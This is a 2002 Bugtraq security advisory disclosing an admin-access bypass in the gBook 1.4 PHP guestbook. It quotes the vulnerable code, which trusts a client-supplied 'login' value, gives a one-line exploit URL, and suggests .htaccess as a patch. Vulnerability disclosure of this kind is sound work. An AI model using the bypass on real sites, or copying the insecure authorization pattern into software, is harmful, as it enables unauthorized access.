Bugtraq mailing list archives

gBook


From: "Frog Man" <leseulfrog () hotmail com>
Date: Tue, 22 Oct 2002 22:28:49 +0200


Informations :
°°°°°°°°°°°°°°
Language : PHP
Tested version : 1.4
Problem : Admin access

PHP Code :
°°°°°°°°°°
/gb/index.php :
------------------------------------------------------
<?php
include("config.inc.php");
if($action == "login") {
        if($user == $loginu && $pw == $loginpw)
        {
                setcookie("login", "true", time()+3600);
                header("location: index.php");
        }
        else
        {
                setcookie("login", "false", -3600);
                header("location: index.php?fehler=login");
        }
}
?>
[...]
<?php
if($login == "true")
{
[ADMIN CODE]
[...]
------------------------------------------------------

Exploit :
°°°°°°°°°
http://[Target]/gb/index.php?login=true

Patch :
°°°°°°°
Using of .htaccess.

More details in french :
http://www.frog-man.org/tutos/gBook.txt
Translated by google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FgBook.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII

frog-m@n

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! http://www.msn.fr/msger/default.asp


Current thread: